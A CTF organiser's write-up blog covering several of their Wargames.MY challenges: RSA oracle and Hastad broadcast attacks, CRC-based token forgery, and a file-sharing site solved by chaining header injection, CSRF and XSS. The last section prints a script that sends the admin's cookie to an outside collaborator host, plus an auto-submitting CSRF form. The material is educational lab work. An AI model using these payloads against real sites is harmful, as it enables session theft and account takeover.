We organized Wargames.MY CTF last weekend and it ended well, congrats to all winners!

Here are some of my challenges I created:

Christmas GIFt

Here is your christmas GIFt from santa! Just open and wait for it..

Attachment:

This GIF file only consists of 3 images:

But the 2nd image will delay around 10 days, then only it will reveal the 3rd image..

If you’re curious on how to generate the GIF, here is the script

Solving

To solve this, we just need to extract every frame in the GIF file by using the convert command:

convert -coalesce gift.gif out%05d.png

Then open the last image, then you will get the flag!

Flag

wgmy{1eaa6da7b7f5df6f7c0381c8f23af4d3}

Rick’S Algorithm

My friend Rick designed an alogrithm that is super secure! Feel free to try it!

Given a python source code:

from Crypto.Util.number import *
import os
from secret import revealFlag
flag = bytes_to_long(b"wgmy{REDACTED}")

p = getStrongPrime(1024)
q = getStrongPrime(1024)
e = 0x557
n = p*q
phi = (p-1)*(q-1)
d = inverse(e,phi)

while True:
	print("Choose an option below")
	print("=======================")
	print("1. Encrypt a message")
	print("2. Decrypt a message")
	print("3. Print encrypted flag")
	print("4. Print flag")
	print("5. Exit")

	try:
		option = input("Enter option: ")
		if option == "1":
			m = bytes_to_long(input("Enter message to encrypt: ").encode())
			print(f"Encrypted message: {pow(m,e,n)}")
		elif option == "2":
			c = int(input("Enter ciphertext to decrypt: "))
			if c % pow(flag,e,n) == 0 or flag % pow(c,d,n) == 0:
				print("HACKER ALERT!!")
				break
			print(f"Decrypted message: {pow(c,d,n)}")
		elif option == "3":
			print(f"Encrypted flag: {pow(flag,e,n)}")
		elif option == "4":
			print("Revealing flag: ")
			revealFlag()
		elif option == "5":
			print("Bye!!")
			break
	except Exception as e:
		print("HACKER ALERT!!")

As you can see, it is a RSA question and we can interact with the service to encrypt plaintext or decrypt ciphertext, and we are given the encrypted flag

But there are three restrcitions:

  • \(n\) is not given
  • cannot decrypt value when \(flag^e \mod n\) is not coprime with c
  • cannot decrypt value when \(c^d \mod n\) is not coprime with flag

Which means we cannot simply decrypt the flag directly, or just decrypt with encrypted flag plus modulus!

Solving

We can simply send -1 for decryption to find \(n\), then we can seperate the decryption process, by applying modular arithmetic to find the flag!

For example, we can decrypt the value \(2\) and \(flag^e/2\) then we get \(2^d\) and \((flag^e/2)^d\) in modular of \(n\)

We can just multiply both value together then apply modular, because at the end we will get \(flag \mod n\): \[2^d \mod n \cdot (flag^e/2)^d \mod n\] \[=2^d \cdot (flag^e/2)^d \mod n\] \[=(flag^e)^d \mod n\] \[=(flag^1) \mod n=flag \mod n\]

Here is the python script to solve the challenge:

from pwn import *
from Crypto.Util.number import long_to_bytes

# p = process(["python3","server.py"])
p = remote("43.216.11.94",32773)

p.sendlineafter(": ",'2')
p.sendlineafter(": ",'-1')
p.recvuntil(": ")
n = int(p.recvuntil("\n")[:-1])+1

p.sendlineafter(": ",'3')
p.recvuntil(": ")
c = int(p.recvuntil("\n")[:-1])

p.sendlineafter(": ",'2')
p.sendlineafter(": ",str(c//2))
p.recvuntil(": ")
c2 = int(p.recvuntil("\n")[:-1])

p.sendlineafter(": ",'2')
p.sendlineafter(": ",'2')
p.recvuntil(": ")
two = int(p.recvuntil("\n")[:-1])

print(long_to_bytes(c2*two % n))
# b'wgmy{ce7a475ff0e122e6ac34c3765449f71d}'

Note: May need run multiple times to get the flag, because the ciphertext is not divisible by 2

Flag

wgmy{ce7a475ff0e122e6ac34c3765449f71d}

Rick’S Algorithm 2

Someone crack our algorithm! We fixed it, hopefully its secure now..

Given a python source code:

from Crypto.Util.number import *
import os
from secret import revealFlag
flag = bytes_to_long(b"wgmy{REDACTED}")

p = getStrongPrime(1024)
q = getStrongPrime(1024)
e = 0x557
n = p*q
phi = (p-1)*(q-1)
d = inverse(e,phi)

while True:
	print("Choose an option below")
	print("=======================")
	print("1. Encrypt a message")
	print("2. Decrypt a message (Disabled)")
	print("3. Print encrypted flag")
	print("4. Print flag")
	print("5. Exit")

	try:
		option = input("Enter option: ")
		if option == "1":
			m = bytes_to_long(input("Enter message to encrypt: ").encode())
			print(f"Encrypted message: {pow(m,e,n)}")
		elif option == "2":
			print(f"Disabled decryption to prevent flag leaking!")
		elif option == "3":
			print(f"Encrypted flag: {pow(flag,e,n)}")
		elif option == "4":
			print("Revealing flag: ")
			revealFlag()
		elif option == "5":
			print("Bye!!")
			break
	except Exception as e:
		print("HACKER ALERT!!")

Disabled decryption, then previous method no longer working, we have to solve it only using encryption

Solving

Find \(n\)

First step is find \(n\), also using the rules of modular arithmetic!

If we encrypt the value 2, it will output \(2^e \mod n\). If you understand modulo it just calculate the remainder after divide it with divisor. Means we can rewrite the equation become \(2^e = kn + c\) where \(c\) is the ciphertext of value 2

We can calculate \(kn\) by calculate \(2^e - c\), but we still don’t know \(n\) yet. In order to find \(n\) we need to calculate another \(kn\) and calculate the GCD (greatest common divisor) of both value!

For example, we encrypt the value 2 and 3 and get \(2^e \mod n\) and \(3^e \mod n\), then we calculate both \(kn\) by calculate \(2^e - c_1\) and \(3^e - c_2\), then finally apply GCD for both value to find \(n\)!

Implementation in python code:

p = remote("43.216.11.94",32776)

p.sendlineafter(": ",'1')
p.sendlineafter(": ",'\x02')
p.recvuntil(": ")
# 2^0x557 - (2^0x557)%n == kn
x = (2**0x557)-int(p.recvuntil("\n")[:-1])

p.sendlineafter(": ",'1')
p.sendlineafter(": ",'\x03')
p.recvuntil(": ")
# Calculate the GCD of 2^0x557 - (2^0x557)%n and 3^0x557 - (3^0x557)%n to find n
n = gcd(x,(3**0x557)-int(p.recvuntil("\n")[:-1]))

# Repeat this until we found the correct n
tmp=4
while n.bit_length()!=2048:
    if tmp == 11:
		break
    p.sendlineafter(": ",'1')
    p.sendlineafter(": ",chr(tmp))
    p.recvuntil(": ")
    n = gcd(n,(tmp**0x557)-int(p.recvuntil("\n")[:-1]))
    tmp+=1

Hastad’s Broadcast attack

Second step is to gather \(e\) pairs of modulus and ciphertext to perform Hastad’s Broadcast attack! Because the flag is always the same and modulus is different everytime we connect so is possible to perform this attack!

Below is the python script to gather modulus and ciphertext pairs and save it in a text file:

from pwn import *
from gmpy2 import gcd
i = 0
while i != 0x557:
	N = open("N.txt","a")
	C = open("C.txt","ab")
	# p = process(["python3","server.py"])
	p = remote("43.216.11.94",32776)

	p.sendlineafter(": ",'1')
	p.sendlineafter(": ",'\x02')
	p.recvuntil(": ")
	# 2^0x557 - (2^0x557)%n == kn
	x = (2**0x557)-int(p.recvuntil("\n")[:-1])

	p.sendlineafter(": ",'1')
	p.sendlineafter(": ",'\x03')
	p.recvuntil(": ")
	# Calculate the GCD of 2^0x557 - (2^0x557)%n and 3^0x557 - (3^0x557)%n to find n
	n = gcd(x,(3**0x557)-int(p.recvuntil("\n")[:-1]))

	# Repeat this until we found the correct n
	tmp=4
	while n.bit_length()!=2048:
		if tmp == 11:
			break
		p.sendlineafter(": ",'1')
		p.sendlineafter(": ",chr(tmp))
		p.recvuntil(": ")
		n = gcd(n,(tmp**0x557)-int(p.recvuntil("\n")[:-1]))
		tmp+=1

	# Save n and c in text file
	if tmp != 11:
		N.write(str(n)+"\n")
		p.sendlineafter(": ",'3')
		p.recvuntil(": ")
		c = p.recvuntil("\n")[:-1]
		C.write(c+b"\n")
		i+=1
	p.close()

It takes around 12mins on localhost:

real    12m20.999s
user    11m37.822s
sys     0m46.618s

Final step is to use Sage to calculate the CRT and the root of \(flag^e\), then we get the flag!

Sage script:

from Crypto.Util.number import *
N = eval('['+open("N.txt","r").read().replace("\n",',')[:-1]+']')
C = eval('['+open("C.txt","r").read().replace("\n",',')[:-1]+']')
# Calculate the CRT with all N's and C's
# Then find the root of 0x557
print(long_to_bytes(crt(C[:1367],N[:1367]).nth_root(1367)))
# Output:
# b'wgmy{1ee240ab7db21db1268c3e1e44fee9a0}'

Flag

wgmy{1ee240ab7db21db1268c3e1e44fee9a0}

Hohoho 3

Santa Claus is coming to town! Send your wishes by connecting to the netcat service!

We are given a python script:

#!/usr/bin/env python3
import hashlib
from Crypto.Util.number import *

m = getRandomNBitInteger(128)

class User:
	def __init__(self, name, token):
		self.name = name
		self.mac = token

	def verifyToken(self):
		data = self.name.encode(errors="surrogateescape")
		crc = (1 << 128) - 1
		for b in data:
			crc ^= b
			for _ in range(8):
				crc = (crc >> 1) ^ (m & -(crc & 1))
		return hex(crc ^ ((1 << 128) - 1))[2:] == self.mac

def generateToken(name):
	data = name.encode(errors="surrogateescape")
	crc = (1 << 128) - 1
	for b in data:
		crc ^= b
		for _ in range(8):
			crc = (crc >> 1) ^ (m & -(crc & 1))
	return hex(crc ^ ((1 << 128) - 1))[2:]

def printMenu():
	print("1. Register")
	print("2. Login")
	print("3. Make a wish")
	print("4. Wishlist (Santa Only)")
	print("5. Exit")

def main():
	print("Want to make a wish for this Christmas? Submit here and we will tell Santa!!\n")
	user = None
	while(1):
		printMenu()
		try:
			option = int(input("Enter option: "))
			if option == 1:
				name = str(input("Enter your name: "))
				if "Santa Claus" in name:
					print("Cannot register as Santa!\n")
					continue
				print(f"Use this token to login: {generateToken(name)}\n")
				
			elif option == 2:
				name = input("Enter your name: ")
				mac = input("Enter your token: ")
				user = User(name, mac)
				if user.verifyToken():
					print(f"Login successfully as {user.name}")
					print("Now you can make a wish!\n")
				else:
					print("Ho Ho Ho! No cheating!")
					break
			elif option == 3:
				if user:
					wish = input("Enter your wish: ")
					open("wishes.txt","a").write(f"{user.name}: {wish}\n")
					print("Your wish has recorded! Santa will look for it!\n")
				else:
					print("You have not login yet!\n")

			elif option == 4:
				if user and "Santa Claus" in user.name:
					wishes = open("wishes.txt","r").read()
					print("Wishes:")
					print(wishes)
				else:
					print("Only Santa is allow to access!\n")
			elif option == 5:
				print("Bye!!")
				break
			else:
				print("Invalid choice!")
		except Exception as e:
			print(str(e))
			break

if __name__ == "__main__":
	main()

As you can see, we need to forge the token of Santa Claus in order to view the wishlists (flag)! The token algorithm is basically just CRC that consists of 128bits

This challenge is actually inspired by a challenge from DubheCTF 2024 called ezcrc

Solving

m = getRandomNBitInteger(128)
...
def generateToken(name):
	data = name.encode(errors="surrogateescape")
	crc = (1 << 128) - 1
	for b in data:
		crc ^= b
		for _ in range(8):
			crc = (crc >> 1) ^ (m & -(crc & 1))
	return hex(crc ^ ((1 << 128) - 1))[2:]

As you can see, the CRC value is generated based on the value m and is a random 128bits number. Once we recovered m we can generate any CRC value we want!

For example we can register as name as \x00 and \x80, then we can XOR their token to recover m!

Python script to solve it:

from Crypto.Util.number import *
from pwn import *
context.log_level = "debug"

def crc128(data, poly):
    crc = (1 << 128) - 1
    for b in data:
        crc ^= b
        for _ in range(8):
            crc = (crc >> 1) ^ (poly & -(crc & 1))
    return crc ^ ((1 << 128) - 1)

# p = process(["python3","server.py"])
p = remote("43.216.11.94",32777)
p.sendlineafter("option: ",'1')
p.sendlineafter("name: ",b"\x00")
p.recvuntil("login: ")
x = int(p.recvuntil("\n")[:-1],16)

p.sendlineafter("option: ",'1')
p.sendlineafter("name: ",b"\x80")
p.recvuntil("login: ")
y = int(p.recvuntil("\n")[:-1],16)
print(hex(crc128(b"Santa Claus", x^y)))
p.interactive()

Output:

0x7dffdc2bd1d55203a546bf7a0a88ea6b
[*] Switching to interactive mode

1. Register
2. Login
3. Make a wish
4. Wishlist (Santa Only)
5. Exit
Enter option: $ 2
Enter your name: $ Santa Claus
Enter your token: $ 7dffdc2bd1d55203a546bf7a0a88ea6b
Login successfully as Santa Claus
Now you can make a wish!

1. Register
2. Login
3. Make a wish
4. Wishlist (Santa Only)
5. Exit
Enter option: $ 4
Wishes:
Santa Claus: Merry Christmas! Flag: wgmy{6952956e2749f941428e6d16b169ac91}

Flag

wgmy{6952956e2749f941428e6d16b169ac91}

Hohoho 3 Continue

Someone broke the service! Now everyone can only register once..

This time we only can register once, based on the source code given:

#!/usr/bin/env python3
import hashlib
from Crypto.Util.number import *

m = getRandomNBitInteger(128)

class User:
	def __init__(self, name, token):
		self.name = name
		self.mac = token

	def verifyToken(self):
		data = self.name.encode(errors="surrogateescape")
		crc = (1 << 128) - 1
		for b in data:
			crc ^= b
			for _ in range(8):
				crc = (crc >> 1) ^ (m & -(crc & 1))
		return hex(crc ^ ((1 << 128) - 1))[2:] == self.mac

def generateToken(name):
	data = name.encode(errors="surrogateescape")
	crc = (1 << 128) - 1
	for b in data:
		crc ^= b
		for _ in range(8):
			crc = (crc >> 1) ^ (m & -(crc & 1))
	return hex(crc ^ ((1 << 128) - 1))[2:]

def printMenu():
	print("1. Register")
	print("2. Login")
	print("3. Make a wish")
	print("4. Wishlist (Santa Only)")
	print("5. Exit")

def main():
	print("Want to make a wish for this Christmas? Submit here and we will tell Santa!!\n")
	user = None
	registered = False
	while(1):
		printMenu()
		try:
			option = int(input("Enter option: "))
			if option == 1:
				# User only can register once to fix forge token bug
				if registered:
					print("Ho Ho Ho! No cheating!")
					break
				name = str(input("Enter your name: "))
				if "Santa Claus" in name:
					print("Cannot register as Santa!\n")
					continue
				print(f"Use this token to login: {generateToken(name)}\n")
				registered = True
				
			elif option == 2:
				name = input("Enter your name: ")
				mac = input("Enter your token: ")
				user = User(name, mac)
				if user.verifyToken():
					print(f"Login successfully as {user.name}")
					print("Now you can make a wish!\n")
				else:
					print("Ho Ho Ho! No cheating!")
					break
			elif option == 3:
				if user:
					wish = input("Enter your wish: ")
					open("wishes.txt","a").write(f"{user.name}: {wish}\n")
					print("Your wish has recorded! Santa will look for it!\n")
				else:
					print("You have not login yet!\n")

			elif option == 4:
				if user and "Santa Claus" in user.name:
					wishes = open("wishes.txt","r").read()
					print("Wishes:")
					print(wishes)
				else:
					print("Only Santa is allow to access!\n")
			elif option == 5:
				print("Bye!!")
				break
			else:
				print("Invalid choice!")
		except Exception as e:
			print(str(e))
			break

if __name__ == "__main__":
	main()

Which means the previous way does not work anymore.. then how to solve this?

Solving

Its possible the control the next CRC value, if we know one of the CRC value! This article states if we append one’s complement of the current CRC value, the new CRC will confirm be 0xffffffff.. (1 « bit_size) -1

We can register as Santa Clau, then get the token then convert one’s complement then see the first character if is s, because our name must contain Santa Claus to see the wishlist!

Below is the python script to solve it:

from Crypto.Util.number import *
from pwn import *

for i in range(1000):
	p = remote("43.216.11.94",32778)
	p.sendlineafter("option: ",'1')
	# Register as Santa Clau
	p.sendlineafter("name: ",b"Santa Clau")
	p.recvuntil("login: ")
	x = int(p.recvuntil("\n")[:-1],16)

	# Check the CRC is endswith 8c, because after one's complement
	# 0x8c become 's', then our name contains Santa Claus
	if hex(x).endswith("8c"):
		p.sendlineafter("option: ",'2')
		p.sendlineafter("name: ",b"Santa Clau"+long_to_bytes(((1 << 128) - 1)-x)[::-1])
		# Token is confirm (1<<128)-1
		p.sendlineafter("token: ","ffffffffffffffffffffffffffffffff")
		p.interactive()
		break
	p.close()

Output:

[*] Switching to interactive mode
Login successfully as Santa ClausMt\xb7\xc5)\xf7#n\xf5\xbe\xc8#\xa4Y
Now you can make a wish!

1. Register
2. Login
3. Make a wish
4. Wishlist (Santa Only)
5. Exit
Enter option: $ 4
Wishes:
Santa Claus: Merry Christmas! Flag: wgmy{3fa42c79018552d4419e67d186c91875}

Flag

wgmy{3fa42c79018552d4419e67d186c91875}

myFile

Built a file sharing website using ChatGPT! Feel free to try it!

Attachment:

Is a file sharing website, where user can upload files and share the link for others to download. It also contains admin dashboard, and report abuse page.

Note: Many participants solve it by exploiting the phantomjs CVE-2019-17221 which is not the intended way, I should’ve use puppeteer for the BOT

The attachments contains a bot.js, which means we need perform XSS attack to steal admin’s cookie.

var webPage = require('webpage');
var system = require('system');
var args = system.args;
var page = webPage.create();
var url = decodeURIComponent(args[1]);
var admin_pwd = args[2];

// Login as admin
page.open('http://localhost/admin.php?username=admin&password='+admin_pwd, function (status) {
    // Open the URL given and wait 3 seconds
    page.open(url, function (status) {
      setTimeout(function(){
        phantom.exit();
      },3000);
    });
});

Notice got something odd in download.php?

<?php
	if(isset($_POST['name']) && isset($_POST['id'])){
		$conn = new mysqli("localhost","admin","admin","myfile_db");
		if ($conn->connect_error) {
				die("Connection failed: " . $conn->connect_error);
		}
		$sql = "SELECT * FROM files WHERE fileid=?";
		$stmt = $conn->prepare($sql);
		$stmt->bind_param("s", $_POST['id']);
		$stmt->execute();
		$result = $stmt->get_result();
		$row = $result->fetch_assoc();

		if($row){
			// Prevent directory traversal
			$filepath = realpath("/files/".$row["filename"]);
			if(strpos($filepath, "/files") !== 0){
				die("<h5 class='text-danger'>HACKER ALERT!!</h5>");
			}
			if (file_exists($filepath)) {
				header('Content-Description: File Download');
				header('Content-Type: text/html');
				header('Content-Disposition: attachment; filename="' . $_POST["name"] . '"');
				header('Expires: 0');
				header('Cache-Control: must-revalidate');
				header('Pragma: public');
				header('Content-Length: ' . filesize($filepath));
				flush(); // Flush system output buffer
				readfile($filepath);
				die();
			} else {
			  http_response_code(404);
			  die();
			}
		}else{
			http_response_code(404);
			die();
		}
	}
?>

The Content-Type header is set to text/html, which means the file we upload the browser will treated as HTML code! Unfortunately, got Content-Disposition which means the browser will download the file directly.. The goal is obviously XSS, and no other place is vulnerable, then how do we solve this?

Solving

We can control the filename of the downloaded file because our parameter is directly append after the Content-Disposition header:

header('Content-Disposition: attachment; filename="' . $_POST["name"] . '"');

If you put binary value such as null bytes in the name parameter, notice the header will disappear! Because PHP will ignore the header if it contains invalid values!

Because this download function only works on POST request, so we need to host a CSRF request HTML file to perform CSRF attack to trigger the XSS payload we uploaded! Because no CSRF token implemented in the website

First step is to upload a XSS script to steal admin cookie:

We used Burp Collaborator to steal its cookie:

<script type="text/javascript">
	document.location = "http://ng763gwhra8zfzjcs4hf27mxgomfa6yv.oastify.com?cookie="+document.cookie;
</script>

We copy the file id return in server response:

Craft a CSRF HTML file that will auto submit POST request, that will trigger the uploaded XSS payload! name parameter put newline character to let it ignore the Content-Disposition header:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/download.php" method="POST">
      <input type="hidden" name="name" value="&#10;" />
      <input type="hidden" name="id" value="67b1e3b346e1580419df9bee35d3b04a" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Run python3 -m http.server to host your CSRF script into localhost:8000/csrf.html then run ngrok http 8000 to expose our web server to a public address:

Submit the CSRF script public address in to report abuse page:

Check the burp collaborator tab, we can see the admin cookie in the GET parameter!

Change our cookie to the admin’s cookie, then go to dashboard.php

Download the flag.txt!

Flag

wgmy{2e51ed84b09a65cec62b50ce8bc7e57c}

Conclusion

The CTF was a success! Many global players and no downtime for the platform!! Its great to see all of my challenge has been solved, although many solved myFile the uninteded way.. but its ok at least one of the writeups is the intended way! Thanks for playing!

Participant writeups